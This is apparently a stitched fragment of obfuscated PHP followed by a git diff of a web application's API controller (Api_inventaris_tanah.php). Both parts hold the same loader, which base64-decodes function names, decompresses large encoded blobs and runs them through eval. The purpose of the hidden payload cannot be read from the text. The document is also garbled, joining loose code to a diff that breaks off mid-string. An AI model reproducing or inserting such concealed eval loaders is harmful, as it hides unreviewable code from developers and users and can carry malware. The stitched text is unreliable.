$_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Api_inventaris_tanah.php b/donjo-app/controllers/Api_inventaris_tanah.php index 80048e6c4..7852ed5e6 100644 --- a/donjo-app/controllers/Api_inventaris_tanah.php +++ b/donjo-app/controllers/Api_inventaris_tanah.php @@ -288,7 +288,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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